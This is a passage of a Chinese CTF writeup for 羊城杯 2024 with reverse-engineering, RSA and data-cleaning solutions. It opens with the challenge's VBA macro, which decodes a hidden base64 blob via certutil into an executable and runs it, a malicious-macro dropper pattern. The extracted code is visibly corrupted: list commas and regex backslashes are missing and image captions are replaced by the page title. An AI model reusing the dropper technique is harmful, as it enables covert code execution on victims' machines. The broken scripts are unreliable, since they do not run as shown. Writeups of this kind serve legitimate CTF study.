AgueKiModrZKnzNcDlSlciLGxibrcCzQwfyoKRKeKsrjDfBcZejuWjlgDcWTgkzJa + MCJnXUJSpRRJmCHBNyGgL + xkFzR + DxGfjRpmNTaNGoJXjmOatrlacvaUAOIngqVHZVdHiYsqXtJVjfUeKbFDcCgeOYeJUCcb + dDrAROqgDwONUkPBEbrtUpacneyMSHVCckaqZmBk + ukSyHuWLSaVUrwVfEfCREVehGPjvISzxLOwkzbNqIAmVy + ckZbelCalPLDXKtBcWmESQNZktlvc + OGqredxqtvJndLDggszIxTZoq BvEKpalonhsRIgbPkYPYbsbQGzIzvPitapncgtGKIo = TXIzOYq + LyzbXnuteIvewfsTHJjlzQReyFxqXpcXpGhxmgHTXkuTdCSgxC + mjhLporjewBwRYCGtfVqGnokgrsjpeMt + MCoojZsVTSQqYyKcalviqCyoDLlFCBhKufeKnCekvEasIuvaFioqLecZdrmWUnnRrLtU + cOvZPoCKLQokEcYfJSSsIsQCvzVMGChhzDaIHjQYMYNUWiMfkOtYyWCouuOwSS + obbOsgvhpNXIcdbYdkGYIaNBBcElKifCqpgxJTckSeauwtfbPgNfLQBUR + reeSpEYsBkdNAwSDqsiDTLBBHdHuaMOZuoTHJEzyHFkIp + sPqnjMUPkXraNiYdmKDHaFHQOCaeGjVuwtTlZkwbEWSWsMqfoiCRhNjPSefNoKgCczlU + XgBQyggOVzqWSVBIMaefHTOEuQxOQwtSFrvMUrNTrUEmiUZJUAtcTscKrDnJrBZyw + oOSfGOgqlGkIAORYvObGcsjZrFGieEKfgdpWSbhHAxbUytAITWPR + QCvxYrufwAwJmOgajhdubCnaXlXrdAifKoAZVqfIMhXUSnFsJEpGx + iXJYTzXYeRAxxAdcdWEMcLSgPDiYSsfZ + BHGCUEAlNjHwSYAoKMdtxBsHfu + haZjvFCfAaX + yPeffAvpRkwnFgAvycVKfbTZwpVyPepiOGTNCcceUpvsiQCbKCeQmFYmr + wSmoLUZYFsZlCEgyqFEUQperFTvljoBPZzetdZXCawKnEaJnXzmqo + ywxosoczblRtUvLuDXsaqcuOFPontRjdwaJORUTYjIHHsPWSrBE + CMcHjPZdSArLleKhnlmUMet + cEHQlEzbinraPdDZxiXfvwhswqBcsFPVVJnCcMMMaKf + HKEqnxGiPFRjdCeRljCZffFFTKkCvRMfFgqG yBILPYnXCUApVHExOtpKlnfTkVfexwgrFQOFIveA = cPrUiVywLZUKwzBPpPGaKMdqfRcymaJgxAoGgEYriOdrgt + WeHDIoVkYMAsJRIxIXO + alecfpzZXAAjOchHsifndkresMxMRmsghnoWrIPjqkOCxIruLdRoapuzDjdMZkMaJFAIuj + BgcwqEuOjbRLfvYOkIeO + gNQUkayMQCoqhaCxkMsR + PIkxRHBZXbWiGvPkUBnCkhaGEtGOaTVcZkOejmvrTsocw + bdKCMyWHmOWcAgjlbMVbEglVvFJcGubBgwEzhrLw + nakYwagVroMrOEfsteXllfcoBvAuNAdrwdDlgazyqsgPKtEegoCIwCUjGupYfo + gyLPgEnLTxnbxyZNvFPsslE + fqbGMOBQtLlIfRylAswLJzJIwewRSFLOCJBsqNXcSjiABtKPFWgGJgnkVLQSEDniZulS + ckfognONvFXDXhZSJWVEDVbUxGUTNFmbwt + EwWonYDzDhRymjiquMYqocSEJJnZeavOftPzjZfaMZlSaPmImpvcCmzJZjsywTyHKU + BumFQkMgMUNykMNviBlfdZHOyVThmijmcNTUNaXSNHYdNzXKRqhYiKlaRzCfBlcoN + vJefuibNYpIBJouGCweDJOwOvK + kiwEfSwbhkXperQLoELoyBXdrSpxHTAXgsYTrLTUuiZPImsimfJRFNPSwgkmKnZNVrXq + rGDzbNeSOAQBdDQMhR + jGEvPHTyQBgJGqDSXfaWZVOnnAKsLSeSzLTydie + jlpDVEFMxbmONUlkfhGVHkOoOeMLXzAiLonunWnRvNQVlCIwuxiKrkHC + xeXzhlxSWXXvlttZcMXmr + BnBfMYeYWEZEQqZZgBiphAzpawtwRnSUfnIatVlrrPKgoagdMIs pqdgalQAZJKIDySPundFqdITahrgAYveJXfZCOUHWnUDKXZwZU = VBKpNPcerfjsMDbNePJypSVjCZ + YABsnhnhxXaUhoDPUSvvFRbIsOHAc + FsVvYVmrXEYYcmoAUxnlpnyCb + FBhMCgIdLoYhtHCKPaUjzTXWQrlTWFjaOvvCOrpvPMV + wYrrjLfnbUwYi + CmIiDOtlbfTzeZwoJcMPoXEambQWUqgMmWTIgJdnQazyI + YGBHxOaXgIoKdqWzNQGNHtqUEMzos + WzzRmZEXyBwTMR + oOrwvvNKQtFkUDWgRQhpLEADLhCWJvZqBTozLaRsgikdVKGHTEGzXBpY + HMoOPkeugJdMLpGdjluwNnPIJwghxQyhDoAnlaBJgjLxBMyaowUuCgCLsTuoPjRcJkk + gSTHkqRczwLplVanyWeaUyULjTzKvwEPRiOvqnhzYyCjb + BsDNqzhXCtPbEzVKpyDrbfU + emqkzLZGDkbnWPfWmoTmYGLMiZaEqwpWTekMIGY + AICsXopyxjKVOYHULreIvTjeZLWJSnHXVjXvGUXXHLubqYrPXyEhrHZsdtCGeYhs + oyVUxfArLNULzUIgjttUncrGNmKbJostRXGxgsrpsYA + gkPIowzPeMzZhIlu + yLMpvyTCnJZPDgwQBPHkXbuEMkmQiFzmxyCqwxKuVeIqBQZscaBLQRHRcOXO + lJdgGUR + gAeijdYgfomMRoOeMejpaoIYRXooMsJRSX + SAJdC pErQJcjFIvYQeIehtTPMaOgEwFvvjnaTkabtJDvpHbWG = KJApECBsBygCpaCPqkHESDxewQKrYbmg + kUozySeFfiJiWBdZvCFFrrdxoTSfXmBjPevyUb + OqJcLRxQpnYs + tTcokkYimbNUQxVmaFGdwTJuSZjxeiJMAFbGsSCr + jCDGmeITNx + USrSXWldjOmExiDNcxtNWUyMThsastYxrYoKTFEWOuJcvfDjgnfIcEa + jmRkplIbQIijaupiW + dPHPpts + KmMyLqjCSWrwNkvMlzkbnHsgwwqlHKsuoDdMRWhvofvhmkeBSrORbXcwXqgjIYnoYoIGIb + RSEcHbLzGYqWPqwV + hSMCKWvRKxqOlNXtxEvAkoMfYsBVBUnGfsjyGVjupZBKJg + UKykwpHdNNGkXiqaxyiBGUNAaUweTdOoBKGRmqRRIiPYTSSdiJISJkCfZAtDnbQmbxxLv + HTLdEBDxvDgWgMPvvDcMsvqvLYa + UXsYABfpUwdH + hnDgZgRNZjLm + JuXQYROQBBeUStRcoCeCphWvZNIpiJ + LApgwYbUQYSyklAgNUxVRcVucekjfKxsELGOuvnmbPlAjrKUuKspsufADOwt + TpxkVXqMUpsPDfXyHhBcXTCkqGNpjIL + izdNRwcJTeFo + vFLyllXrhmSiCmOAKRsNkTcKp QmLHKhwBebnYaryyPsFeBassnVEjIoURcqNseXyjyMdcDfFnag = NXKmCFlWcjX + TZHYOwXfxjTPvguvOFnAT + SvHaIFYrqYWuSmKFOoPXtUOnfQUrNUfyjodbbRYy + oBluSsHkDCzAto + dFiJWKhjbPrexvpfDvVJqNYxBHlMbzLjichbXJYNZBfMaBiFBHcaUKjXRLowLQmTNse + RzAiANtvbRZPXTAsgSwrtKTXDAxZvqMSiUWIDXSXTmocZPagjTaMNLa xpkdb = dWPtWzWvKrZRFrsAWZMGNjZQbCrgAImKXVUkOykXWeRltpUU + AMaKeZzlhAtdNANKAKwMNbKEKUWuQVZQbbCJIUog + BvEKpalonhsRIgbPkYPYbsbQGzIzvPitapncgtGKIo + yBILPYnXCUApVHExOtpKlnfTkVfexwgrFQOFIveA + pqdgalQAZJKIDySPundFqdITahrgAYveJXfZCOUHWnUDKXZwZU + pErQJcjFIvYQeIehtTPMaOgEwFvvjnaTkabtJDvpHbWG + QmLHKhwBebnYaryyPsFeBassnVEjIoURcqNseXyjyMdcDfFnag
tempPath = ThisDocument.Path & "temp1" Set tempfile = fso.CreateTextFile(tempPath, True) fso.GetFile(tempPath).Attributes = 2 tempfile.WriteLine xpkdb tempfile.Close
batPath = ThisDocument.Path & "temp.bat" Set batFile = fso.CreateTextFile(batPath, True) fso.GetFile(batPath).Attributes = 2 batFile.WriteLine "@echo off" batFile.WriteLine "cd /d " & ThisDocument.Path batFile.WriteLine "certutil -decode temp1 temp|certutil -decode temp temp.exe" batFile.WriteLine "del temp" batFile.WriteLine "temp.exe " & """" & Result & """" batFile.WriteLine "del temp.exe" batFile.Close Set objExec = objShell.Exec(batPath) Set objStdOut = objExec.StdOut Do While Not objStdOut.AtEndOfStream output = Trim(objStdOut.ReadLine) Loop output = Left(output, Len(output)) StartTime = Timer Do While Timer < StartTime + 1 DoEvents Loop fso.DeleteFile batPath fso.DeleteFile tempPath
If output = "good" Then temp = MsgBox("good!!!", , "congratulations!!!") Exit Do Else temp = MsgBox("Sorry, U are wrong!!!", , "Hacked_by_??????") isContinue = MsgBox("Continue?", vbYesNo + vbQuestion, "Warning") End If Loop While isContinue = 6End Sub

简单分析一下逻辑:首先每一位异或了7,然后存入Result羊城杯 · 2024 WriteUp异或完的结果之后,又传入新生成的exe文件中做校验羊城杯 · 2024 WriteUp调试宏代码,在对应目录下找到生成的exe文件羊城杯 · 2024 WriteUp生成的文件如下,temp1为两次base64加密后的文件,temp.bat为验证后保存结果的文件羊城杯 · 2024 WriteUp使用cyberchef解密羊城杯 · 2024 WriteUp得到exe后,找到主要逻辑为向左移6位羊城杯 · 2024 WriteUp密文为:羊城杯 · 2024 WriteUp写脚本解密

#include <stdio.h>
#include<string.h>
#define ARRAY_SIZE 64

int main() {
    char a[1000]="C010801100150011C0144010001F4014401980190016800D001D0016C0188019401A00188018401D001A801C001D80098009800900164011800D001C8019401D80180016C00D40180016801280190019401DC00D00164014800D401D801C800C8018001D800980098009801E";
    for(int i=0;i<strlen(a);i+=4)
    {
        printf("0x");
        printf("%c%c%c%c",a[i],a[i+1],a[i+2],a[i+3]);
        printf(",");
    }
    char enc[100]={0x10C0,0x1180,0x1500,0x1100,0x14C0,0x1040,0x1F00,0x1440,0x1940,0x1980,0x1600,0x0D80,0x1D00,0x1600,0x18C0,0x1980,0x1A40,0x1800,0x1880,0x1D40,0x1A00,0x1C80,0x1D00,0x0980,0x0980,0x0980,0x1600,0x1140,0x0D80,0x1C00,0x1980,0x1D40,0x1880,0x1600,0x0DC0,0x1840,
    0x1600,0x1280,0x1980,0x1900,0x1D40,0x0DC0,0x1600,0x1440,0x0D80,0x1D40,0x1C80,0x0C80,0x1880,0x1D00,0x0980,0x0980,0x0980,0x1E80};
    
    unsigned short b[ARRAY_SIZE] = {
        0x10C00x11800x15000x11000x14C00x10400x1F000x14400x19400x1980,
        0x16000x0D800x1D000x16000x18C00x19800x1A400x18000x18800x1D40,
        0x1A000x1C800x1D000x09800x09800x09800x16000x11400x0D800x1C00,
        0x19800x1D400x18800x16000x0DC00x18400x16000x12800x19800x1900,
        0x1D400x0DC00x16000x14400x0D800x1D400x1C800x0C800x18800x1D00,
        0x09800x09800x09800x1E80
    };

    for (int i = 0; i < ARRAY_SIZE; i++) {
        b[i] = (b[i] >> 6) ^ 0x7;
    }

    // Print the result
    for (int i = 0; i < ARRAY_SIZE; i++) {
        printf("%c", b[i]);
    }

    return 0;
}

flag

DASCTF{Vba_1s_dangerous!!!_B1ware_0f_Macr0_V1ru5es!!!}

你这主函数保真么

数学世界真奇妙

附件拖入ida羊城杯 · 2024 WriteUp羊城杯 · 2024 WriteUp两个main函数都没东西。对第一个main函数查引用,发现第二个main函数的调用在第一个main函数之前羊城杯 · 2024 WriteUp第二个main函数跳转到这羊城杯 · 2024 WriteUp然后就有个函数指针,顺序倒着调用。flag函数时步入羊城杯 · 2024 WriteUp羊城杯 · 2024 WriteUp继续步入。然后能够发现这里有两个Test对象,分别是Test和Test2类羊城杯 · 2024 WriteUpTest类的构造函数就是主逻辑,进行字符串读入和判断长度羊城杯 · 2024 WriteUpTest2类的构造函数里调用了rot13。仔细一看,非常的标准羊城杯 · 2024 WriteUp羊城杯 · 2024 WriteUp这还没完。函数列表有个encrypt函数,对它查引用,发现是在Test2类对象的析构函数里羊城杯 · 2024 WriteUp羊城杯 · 2024 WriteUp同样的,Test类对象的析构函数里也还有逻辑羊城杯 · 2024 WriteUp条理是比较清晰的,非常容易弄清楚运算做了什么,就是需要现学一下x87指令集(网上这么说的),也不多,非常容易理解。把运算丢给gpt,要一份求解脚本就好了,最后在rot13解码一下

import numpy as np
s1=[513.355, -37.7986, 8.7316, -10.7832, -1.3097, -20.5779, 6.98641, -29.2989, 15.9422, 21.4138, 29.4754 ,-2.77161, -6.58794, -4.22332, -7.20771, 8.83506, -4.38138, -19.3898, 18.3453, 6.88259, -14.7652, 14.6102 ,24.7414, -11.6222, -9.754759999999999, 12.2424, 13.4343, -34.9307, -35.735, -20.0848, 39.689, 21.879 ,26.8296]
A = np.array([[np.cos((j + 0.5) * i * np.pi / 33) for j in range(33)] for i in range(33)])
b = np.array([s1[i] / np.sqrt(1.0 / 33) if i == 0 else s1[i] / np.sqrt(2.0 / 33) for i in range(33)])

solution, residuals, rank, s = np.linalg.lstsq(A, b, rcond=None)

print("a values:")
print(solution)
a_values_rounded = np.round(solution).astype(int)
print("Rounded a values:")
print(''.join([chr(x) for x in a_values_rounded]))

Crypto

RSA_loss

from Crypto.Util.number import *
import math
from string import ascii_lowercase,ascii_uppercase,digits
p = 898278915648707936019913202333
q = 814090608763917394723955024893
c = 356435791209686635044593929546092486613929446770721636839137
e = 65537
n = p*q
d = pow(e,-1,(p-1)*(q-1))
m = bytes_to_long(b'Xxeex1eyx88x01dXxf6ix91x80hxf4x1f!xa7"x0cx9ax06xc8x06x81x15')

i=0
while True:
    m += n
    if m & 0xff == ord("}"):
        break

a = 256*n
patt = ascii_lowercase+ascii_uppercase+digits
rm_prefix = b'DASCTF{'
conut = int((math.log(m, 256) - 7)) // 1
res = rm_prefix + b'0' * conut
now_data = long_to_bytes(m)
while True:
    flag = 1
    for i in now_data:
        if i not in range(32,127):
            flag=0
            break

    if flag:
        break

    if rm_prefix in now_data:
        m += a
    else:
        m += a* (1+((bytes_to_long(res)-m)//a))
        res += b'0'
    now_data = long_to_bytes(m)

print(now_data)

TheoremPlus

def decode_e(e):
    if e > 1:
        mul = 1
        for i in range(1, e):
            mul *= i
        if e - mul % e - 1 == 0:
            mulmod = mul % e - e
        else:
            mulmod = mul % e
        return mulmod + decode_e(e - 1)
    else:
        return 0

威尔逊定理,当i为素数则返回-1,非素数返回(i-1)!%i,如果是非素数则说明可以分解为pa+qb+r^c+…,pqr…都是小于i的,在(i-1)!中有因子对应,则(i-1)!会是i的倍数,结果为0,则关键就在于统计小于703440151的素数个数,得到e pq费马分解即可

from numba import njit
import numpy as np
@njit
def count_primes_numpy_jit(n):
    assert n > 1
    isPrime = np.ones(n, dtype=np.bool_)
    isPrime[0] = isPrime[1] = 0
    for i in np.arange(2, int(n ** 0.5) + 1):
        if isPrime[i]:
            isPrime[i * i:n:i] = 0
    return int(np.sum(isPrime))


e = count_primes_numpy_jit(703440151) - 1

from Crypto.Util.number import *
p = 137005750887861042579675520137044512945598822783534629619239107541807615882572096858257909592145785126427095471870315367525847725823941391135851384962433640952546093687945848986528958373691860995753297871619638780075391669495117388905134584566094832853663864356912013900594295175075123578366393694884648557429
q = 137005750887861042579675520137044512945598822783534629619239107541807615882572096858257909592145785126427095471870315367525847725823941391135851384962433640952546093687945848986528958373691860995753297871619638780075391669495117388905134584566094832853663864356912013900594295175075123578366393694884648557219
c = 2587907790257921446754254335909686808394701314827194535473852919883847207482301560195700622542784316421967768148156146355099210400053281966782598551680260513547233270646414440776109941248869185612357797869860293880114609649325409637239631730174236109860697072051436591823617268725493768867776466173052640366393488873505207198770497373345116165334779381031712832136682178364090547875479645094274237460342318587832274304777193468833278816459344132231018703578274192000016560653148923056635076144189403004763127515475672112627790796376564776321840115465990308933303392198690356639928538984862967102082126458529748355566
d = pow(e,-1,(p-1)*(q-1))
m = pow(c,d,p*q)

print(long_to_bytes(m))

数据安全

data-analy1

格式是CSV羊城杯 · 2024 WriteUp

自己规整下rn应该就行,100% pass

import csv
import re

def reorder_and_fix_data(row):

    # 定义正则表达式
    username_pattern = r'^[a-zA-Z0-9]+$'  # 用户名由字母和数字组成
    password_pattern = r'^[a-f0-9]{32}$'  # 密码是32位小写的md5哈希值
    birth_pattern = r'^d{8}$'            # 出生日期
    name_pattern = r'^[u4e00-u9fa5]+$'  # 姓名由全中文组成
    id_card_pattern = r'^d{17}(d|X)$'   # 身份证号为18位数字或最后一位为X

    phone_pattern = [734735736737738739747748750751752757758759772,
                     778782783784787788795798730731732740745746755,
                     756766767771775776785786796733749753773774777,
                     780781789790791793799]

    header_row = {
        '编号'0,
        '用户名'1,
        '密码'2,
        '姓名'3,
        '性别'4,
        '出生日期'5,
        '身份证号'6,
        '手机号码'7
    }

    def phone_check(_numstr):
        try:
            if int(_numstr[:3]) in phone_pattern:
                return True
            else:
                return False
        except:
            return False

    def fix_gender_and_birthdate(_row):
        id_number = _row[header_row['身份证号']]
        print(id_number)
        gender_code = int(id_number[-2]) % 2  # 身份证号倒数第二位判断性别
        birthdate = id_number[6:14]

        # 修正性别
        if gender_code == 0 and _row[header_row['性别']] != '女':
            _row[header_row['性别']] = '女'
        elif gender_code == 1 and _row[header_row['性别']] != '男':
            _row[header_row['性别']] = '男'

        # 修正出生日期
        if _row[header_row['出生日期']] != birthdate:
            _row[header_row['出生日期']] = birthdate

        return _row

    mask_row = [11111111]
    new_row = [-1] * 8
    for i in range(0, len(row)):
        if re.match(id_card_pattern, str(row[i])) and len(str(row[i])) == 18 and new_row[header_row['身份证号']] == -1:
            new_row[header_row['身份证号']] = row[i]
            mask_row[i] = 0
        elif re.match(birth_pattern, str(row[i])) and len(str(row[i])) == 8 and new_row[header_row['出生日期']] == -1:
            new_row[header_row['出生日期']] = row[i]
            mask_row[i] = 0
        elif re.match(password_pattern, str(row[i])) and len(str(row[i])) == 32 and new_row[header_row['密码']] == -1:
            new_row[header_row['密码']] = row[i]
            mask_row[i] = 0
        elif re.match(name_pattern, str(row[i])) and new_row[header_row['姓名']] == -1 and str(row[i]) not in ['女''男']:
            new_row[header_row['姓名']] = row[i]
            mask_row[i] = 0
        elif row[i] in ['男''女'and new_row[header_row['性别']] == -1:
            new_row[header_row['性别']] = row[i]
            mask_row[i] = 0
        elif len(str(row[i])) == 11 and phone_check(str(row[i])) and new_row[header_row['手机号码']] == -1:
            new_row[header_row['手机号码']] = row[i]
            mask_row[i] = 0
        # print(row)
        # print(new_row)

    reordered_df_row = fix_gender_and_birthdate(new_row)
    new_row = reordered_df_row
    for i in range(0, len(row)):
        if mask_row[i] == 1:
            flag = False
            try:
                if type(int(row[i])) == int and int(row[i]) <= 10000 and new_row[header_row['编号']] == -1:
                    new_row[header_row['编号']] = row[i]
                    mask_row[i] = 0
                    flag = True
            except:
                pass
            if not flag and re.match(username_pattern, str(row[i])) and new_row[header_row['用户名']] == -1:
                new_row[header_row['用户名']] = row[i]
                mask_row[i] = 0

    # print(new_row)
    return new_row[header_row['编号']], new_row


out = [[]] * 10001
with open("person_data.csv""r", encoding="utf-8"as f:
    csv_reader = csv.reader(f)
    i = 0
    for row in csv_reader:
        if 0 == i:
            i += 1
            continue
        res = reorder_and_fix_data(row)
        out[int(res[0])] = res[1]


with open("cleaned_data.csv""a", encoding="utf-8"as f:
    csv_writer = csv.writer(f)
    name = ['编号''用户名''密码''姓名''性别''出生日期''身份证号''手机号码']
    csv_writer.writerow(name)
    for i in range(0, len(out)):
        csv_writer.writerow(out[i])

data-analy2

100% pass

import datetime
import dpkt
import json
import csv
import re
import os

def parse_pcapng(file_path):
    json_requests = []

    with open(file_path, 'rb'as f:
        pcapng = dpkt.pcapng.Reader(f)
        for ts, buf in pcapng:
            eth = dpkt.ethernet.Ethernet(buf)
            if isinstance(eth.data, dpkt.ip.IP) and isinstance(eth.data.data, dpkt.tcp.TCP):
                ip = eth.data
                tcp = ip.data
                try:
                    json_data = json.loads(tcp.data)
                    json_requests.append(json_data)
                except:
                    pass

    return json_requests


def reorder_and_fix_data(m_map):

    # 定义正则表达式
    username_pattern = r'^[a-zA-Z0-9]+$'  # 用户名由字母和数字组成
    birth_pattern = r'^d{8}$'            # 出生日期
    name_pattern = r'^[u4e00-u9fa5]+$'  # 姓名由全中文组成
    id_card_pattern = r'^d{17}(d|X)$'   # 身份证号为18位数字或最后一位为X

    phone_pattern = [734735736737738739747748750751752757758759772,
                     778782783784787788795798730731732740745746755,
                     756766767771775776785786796733749753773774777,
                     780781789790791793799]

    def id_card_check(_m):
        card = _m['idcard']
        nnum = int(card[0])*7 + int(card[1])*9 + int(card[2])*10 + int(card[3])*5 + int(card[4])*8 + int(card[5])*4 + int(card[6])*2 + int(card[7])*1 + int(
            card[8])*6 + int(card[9])*3 + int(card[10])*7 + int(card[11])*9 + int(card[12])*10 + int(card[13])*5 + int(card[14])*8 + int(card[15])*4 + int(card[16])*2
        n2m = nnum % 11
        if ((n2m == 0 and card[-1] == "1"or (n2m == 1 and card[-1] == "0"or (n2m == 2 and card[-1] == "X"or (n2m == 3 and card[-1] == "9"or (n2m == 4 and card[-1] == "8"or (n2m == 5 and card[-1] == "7"or (n2m == 6 and card[-1] == "6"or (n2m == 7 and card[-1] == "5"or (n2m == 8 and card[-1] == "4"or (n2m == 9 and card[-1] == "3"or (n2m == 10 and card[-1] == "2")):
            return True
        else:
            return False

    def phone_check(_numstr):
        try:
            if int(_numstr[:3]) in phone_pattern:
                return True
            else:
                return False
        except:
            return False

    def birth_check(_m):
        id_number = _m['idcard']
        birthdate = id_number[6:14]
        try:
            datetime.datetime(int(_m['birth'][:4]), int(
                _m['birth'][4:6]), int(_m['birth'][6:]))
            datetime.datetime(int(birthdate[:4]), int(
                birthdate[4:6]), int(birthdate[6:]))
        except ValueError:
            return False
        return birthdate == _m['birth']

    def sex_check(_m):
        id_number = _m['idcard']
        gender_code = int(id_number[-2]) % 2
        if gender_code == 0 and _m['sex'] != '女':
            return False
        elif gender_code == 1 and _m['sex'] != '男':
            return False
        return True

    if bool(re.match(username_pattern, str(m_map['username']))) and 
            bool(re.match(name_pattern, str(m_map['name']))) and 
            bool(re.match(id_card_pattern, str(m_map['idcard']))) and id_card_check(m_map) and 
            str(m_map['sex']) in ['女''男'and sex_check(m_map) and 
            len(str(m_map['birth'])) == 8 and bool(re.match(birth_pattern, str(m_map['birth']))) and birth_check(m_map) and 
            len(str(m_map['phone'])) == 11 and 
                phone_check(str(m_map['phone'])) and 
                    bool(re.match(r'^d{11}$', str(m_map['phone']))):
        return False
    return True


out = []
inp = []
inp = parse_pcapng('data.pcapng')

# inp = [{'username': 'wolvezyangxue', 'name': '伏羲念珍', 'sex': '男', 'birth': '20171220', 'idcard': '955662201712207958', 'phone': '77853321650'}]
for i in range(0, len(inp)):
    print(inp[i])
    res = reorder_and_fix_data(inp[i])
    if res == True:
        out.append(inp[i])


with open("cleaned_data.csv""a", encoding="utf-8"as f:
    csv_writer = csv.writer(f)
    name = ['username''name''sex''birth''idcard''phone']
    csv_writer.writerow(name)
    for i in range(0, len(out)):
        content = out[i]
        csv_writer.writerow([
            content['username'],
            content['name'],
            content['sex'],
            content['birth'],
            content['idcard'],
            content['phone']
        ])

data-analy3

100% pass

import urllib.parse
import hashlib
import csv
import re


def parse_log(file_path):
    json_requests = []

    with open(file_path, 'r'as f:
        lines = f.readlines()
        flag = True
        i = 0
        while i < len(lines):
            line = lines[i].strip()
            if True == flag:
                if 'username' not in line:
                    i += 1
                    continue
                flag = False
                m_map = {}
                line = line[line.find("username"):].split("&")
                for j in range(0, len(line)):
                    tmp = line[j].split("=")
                    if 'name' == tmp[0]:
                        m_map[tmp[0]] = urllib.parse.unquote(tmp[1])
                    else:
                        m_map[tmp[0]] = tmp[1]
                json_requests.append(m_map)
                i += 6
            else:
                flag = True
                line = line[line.find("(data-HEAP): ") + 13:]
                if ': ' in line:
                    json_requests[len(json_requests) -
                                  1]['password'] = line.split(': ')[1][:-2]
                else:
                    del json_requests[len(json_requests) - 1]
                i += 1

    return json_requests


def reorder_and_fix_data(m_map):

    # 定义正则表达式
    username_pattern = r'^[a-zA-Z0-9]+$'  # 用户名由字母和数字组成
    name_pattern = r'^[u4e00-u9fa5]+$'  # 姓名由全中文组成
    id_card_pattern = r'^d{17}(d|X)$'   # 身份证号为18位数字或最后一位为X

    phone_pattern = [734735736737738739747748750751752757758759772,
                     778782783784787788795798730731732740745746755,
                     756766767771775776785786796733749753773774777,
                     780781789790791793799]

    def id_card_check(_m):
        card = _m['idcard']
        nnum = int(card[0])*7 + int(card[1])*9 + int(card[2])*10 + int(card[3])*5 + int(card[4])*8 + int(card[5])*4 + int(card[6])*2 + int(card[7])*1 + int(
            card[8])*6 + int(card[9])*3 + int(card[10])*7 + int(card[11])*9 + int(card[12])*10 + int(card[13])*5 + int(card[14])*8 + int(card[15])*4 + int(card[16])*2
        n2m = nnum % 11
        if ((n2m == 0 and card[-1] == "1"or (n2m == 1 and card[-1] == "0"or (n2m == 2 and card[-1] == "X"or (n2m == 3 and card[-1] == "9"or (n2m == 4 and card[-1] == "8"or (n2m == 5 and card[-1] == "7"or (n2m == 6 and card[-1] == "6"or (n2m == 7 and card[-1] == "5"or (n2m == 8 and card[-1] == "4"or (n2m == 9 and card[-1] == "3"or (n2m == 10 and card[-1] == "2")):
            return True
        else:
            return False

    def phone_check(_numstr):
        try:
            if int(_numstr[:3]) in phone_pattern:
                return True
            else:
                return False
        except:
            return False

    if bool(re.match(username_pattern, str(m_map['username']))) and 
            bool(re.match(name_pattern, str(m_map['name']))) and 
            bool(re.match(id_card_pattern, str(m_map['idcard']))) and id_card_check(m_map) and 
            len(str(m_map['phone'])) == 11 and 
        phone_check(str(m_map['phone'])) and 
        bool(re.match(r'^d{11}$', str(m_map['phone']))):
        return False
    return True


out = []
inp = parse_log('log/apache2/error.log')
# inp = [{'username': '%5Cin', 'name': '是', 'idcard': '843690198510170319', 'phone': '78771737295'}]
for i in range(0, len(inp)):
    res = reorder_and_fix_data(inp[i])
    if res == False:
        out.append(inp[i])


def encode_username(_username):
    _username = list(_username)
    if len(_username) == 2:
        _username[-1] = '*'
    else:
        for i in range(1, len(_username) - 1):
            _username[i] = '*'
    return ''.join(_username)


def encode_password(_password: str):
    md = hashlib.md5()
    md.update(_password.encode())
    return md.hexdigest().lower()


def encode_idcard(_idcard):
    _idcard = list(_idcard)
    i = 0
    while i < len(_idcard):
        if i < 6 or i > 9:
            _idcard[i] = "*"
        i += 1
    return ''.join(_idcard)


def encode_phone(_phone):
    _phone = list(_phone)
    i = 0
    while i < len(_phone):
        if i > 2 and i < 7:
            _phone[i] = "*"
        i += 1
    return ''.join(_phone)


with open("cleaned_data.csv""w", encoding="utf-8"as f:
    csv_writer = csv.writer(f)
    name = ['username''password''name''idcard''phone']
    csv_writer.writerow(name)
    for i in range(0, len(out)):
        content = out[i]
        row = [
            encode_username(content['username']),
            encode_password(content['password']),
            encode_username(content['name']),
            encode_idcard(content['idcard']),
            encode_phone(content['phone'])
        ]
        csv_writer.writerow(row)

作者



羊城杯 · 2024 WriteUp

CTF战队

ctf.wgpsec.org



扫描关注公众号回复加群

和师傅们一起讨论研究~


WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec


羊城杯 · 2024 WriteUp
羊城杯 · 2024 WriteUp


原文始发于微信公众号(WgpSec狼组安全团队):羊城杯 · 2024 WriteUp

版权声明:admin 发表于 2024年8月28日 下午4:01。
转载请注明:羊城杯 · 2024 WriteUp | CTF导航

相关文章